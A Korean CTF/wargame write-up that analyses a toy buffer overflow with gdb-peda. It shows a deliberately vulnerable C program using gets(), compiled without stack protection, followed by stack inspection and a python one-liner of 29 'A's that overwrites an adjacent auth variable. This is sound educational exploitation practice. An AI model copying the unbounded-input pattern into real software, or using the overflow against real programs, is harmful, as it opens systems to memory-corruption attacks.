본문 바로가기

CTF_Write_UP

BOF : FTZ-무임승차 문제 분석

gdb-peda와 놀던 중 무언가 번뜩!! 해서 바로 글로 남깁니다 :D

현재 hackerschool.orgFTZ 서버가 내려가있어서.. (로컬로 구축할 수 있는 환경도 아니라..)

아쉬운대로 홈페이지를 뒤적이던 중 BOF와 관련된 무임승차 문제가 있길래

gdb로 분석해 봤습니다!

코드

root@goorm:/workspace/LCH_Server# cat bof.c
#include <stdio.h>
#include <string.h>

int main() {

        int auth = 0;
        char passwd[20];

        printf("Password : ");
        gets(passwd);

        if (strcmp(passwd, "exploit") == 0) {
                auth = 1;
        }

        if (auth) {
                printf("Exploit!\n");
        }

        else {
                printf("Fail\n");
        }

        return 0;
}

intauth 변수와 char[]passwd를 생성, 사용자에게 gets로 입력받고

strcmp 함수를 이용해 사용자의 입력이 exploit과 같으면 Exploit!을, 다르다면 Fail을 출력하는 간단한 코드입니다.

gets 함수가 길이를 검사하지 않는다는 취약점을 이용해 passwd 배열을 overflow시켜

auth 변수의 값을 조작하는 것이 목적입니다.

gcc의 스택 보호 기술을 해제한 후 컴파일 했습니다!

root@goorm:/workspace/LCH_Server# gcc -fno-stack-protector -mpreferred-stack-boundary=4 bof.c -o boftest
bof.c: In function ‘main’:
bof.c:10:2: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
  gets(passwd);
  ^
bof.c:12:6: warning: implicit declaration of function ‘strcmp’ [-Wimplicit-function-declaration]
  if (strcmp(passwd, "exploit") == 0) {
      ^
/tmp/ccqyOx3b.o: In function `main':
bof.c:(.text+0x2b): warning: the `gets' function is dangerous and should not be used.

Warning만 보면 bof가 생각나서 두근두근 하네요ㅎㅎ..

빨리 gdb로 까보겠습니다!

root@goorm:/workspace/LCH_Server# gdb -q boftest
Reading symbols from boftest...(no debugging symbols found)...done.
gdb-peda$ b *main
Breakpoint 1 at 0x400616
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000400616 <+0>:     push   rbp
   0x0000000000400617 <+1>:     mov    rbp,rsp
   0x000000000040061a <+4>:     sub    rsp,0x20
   0x000000000040061e <+8>:     mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000400625 <+15>:    mov    edi,0x400714
   0x000000000040062a <+20>:    mov    eax,0x0
   0x000000000040062f <+25>:    call   0x4004d0 <printf@plt>
   0x0000000000400634 <+30>:    lea    rax,[rbp-0x20]
   0x0000000000400638 <+34>:    mov    rdi,rax
   0x000000000040063b <+37>:    mov    eax,0x0
   0x0000000000400640 <+42>:    call   0x400510 <gets@plt>
   0x0000000000400645 <+47>:    lea    rax,[rbp-0x20]
   0x0000000000400649 <+51>:    mov    esi,0x400720
   0x000000000040064e <+56>:    mov    rdi,rax
   0x0000000000400651 <+59>:    call   0x4004f0 <strcmp@plt>
   0x0000000000400656 <+64>:    test   eax,eax
   0x0000000000400658 <+66>:    jne    0x400661 <main+75>
   0x000000000040065a <+68>:    mov    DWORD PTR [rbp-0x4],0x1
   0x0000000000400661 <+75>:    cmp    DWORD PTR [rbp-0x4],0x0
   0x0000000000400665 <+79>:    je     0x400673 <main+93>
   0x0000000000400667 <+81>:    mov    edi,0x400728
   0x000000000040066c <+86>:    call   0x4004c0 <puts@plt>
   0x0000000000400671 <+91>:    jmp    0x40067d <main+103>
   0x0000000000400673 <+93>:    mov    edi,0x400731
   0x0000000000400678 <+98>:    call   0x4004c0 <puts@plt>
   0x000000000040067d <+103>:   mov    eax,0x0
   0x0000000000400682 <+108>:   leave
   0x0000000000400683 <+109>:   ret
End of assembler dump.

main의 시작 부분에 break point를 걸어주고 어셈블리어로 열어봤습니다.

main+0 ~ main+1 부분에서 Stack Frame을 만들어 주는 것이 보이네요!

main+4에선 rsp0x20만큼 빼서 공간을 할당하고 있습니다.

바로 밑인 main+8rbp-0x40을 넣어주네요. 느낌이 딱 auth 변수죠??

main+15 ~ main+20printf 함수를 사용하기 위한 인자들을 넣어주는 것 같습니다.

edi에 들어가는 0x400714가 뭔지 살짝 볼까요..?

gdb-peda$ x/s 0x400714
0x400714: “Password : “

역시 문자열이네요. 딱딱 맞아 떨어지니 참 좋습니다 :D

그 다음은 main+30 ~ main+42 입니다. gets 함수의 인자들을 넣어주는 부분이겠죠?

gets함수의 호출 직후인 main+47break point를 걸고 달려보겠습니다.

입력으론 passwd 배열의 크기만큼 A를 20개 주겠습니다.

Password : AAAAAAAAAAAAAAAAAAAA

잘 들어갔나 rsp의 값을 확인해 볼까요?

Breakpoint 2, 0x0000000000400645 in main ()
gdb-peda$ x/32wx $rsp
0x7ffe04db8b40: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe04db8b50: 0x41414141      0x00007f00      0x00000000      0x00000000
0x7ffe04db8b60: 0x00000000      0x00000000      0xa1702f45      0x00007fa6
0x7ffe04db8b70: 0x00000000      0x00000000      0x04db8c48      0x00007ffe
0x7ffe04db8b80: 0x00000000      0x00000001      0x00400616      0x00000000
0x7ffe04db8b90: 0x00000000      0x00000000      0x8a0bc432      0xf88923ff
0x7ffe04db8ba0: 0x00400520      0x00000000      0x04db8c40      0x00007ffe
0x7ffe04db8bb0: 0x00000000      0x00000000      0x00000000      0x00000000

passwd 배열의 시작과 끝이 잘 보이네요.

이 녀석의 주소는 0xFFE04DB8B40 ~ 0X7FFE04DB8B53 까지였고, 길이는 역시 20 bytes 입니다.

그럼 여기 어딘가엔 auth 변수도 있겠죠..? 그런데 값이 0이라 뭐가 진짜인지 모르겠네요.

auth에 대해 우리가 알고 있는 정보는 rbp-0x4에 할당된 변수라는 것입니다.

똑똑한 gdb에게 rbp-0x4가 어디있는지 알려줘..!! 라고 물어봅시다.

gdb-peda$ x/x $rbp-0x4
0x7ffe04db8b5c: 0x00000000

워.. 쓰면 쓸 수록 OllyDBG보다 쓰는 맛이 있는 것 같아요. 너무 재밌잖아?

authpasswd 배열에서 8 bytes 떨어진 곳에 위치하고 있었습니다.

처음에 rspsub 0x20을 하는 부분이 있었는데, 그거와 연관이 있는 걸까요? ..허허

우리는 결국 두 변수의 관계를 알아냈습니다.

passwd 배열에 28 bytes를 쓰면 auth 변수에 닿을 수 있었던 것입니다 :D

직접 때려보도록 해요!!!

root@goorm:/workspace/LCH_Server# (python -c "print 'A' * 28") | ./boftest
Password : Fail
root@goorm:/workspace/LCH_Server# (python -c "print 'A' * 29") | ./boftest
Password : Exploit!

마무리

gdb의 재미를 알게 되었습니다. 갑자기 이건 꼭 써야해.. 라고 느껴서 급하게 글을 적었네요.

더욱 더 많이 써보면서 툴과 익숙해지면 좋겠습니다 :D

'CTF_Write_UP' 카테고리의 다른 글

[2017 CSAW CTF] pilot  (0) 2019.05.30
[Codegate 2018] BaskinRobins31  (0) 2019.05.27
[2019 DefCon Quals] speedrun-002  (0) 2019.05.25
[2019 DefCon Quals] speedrun-001  (0) 2019.05.23
[Plaid CTF 2013 - ropasaurusrex] rop 공룡  (0) 2019.05.15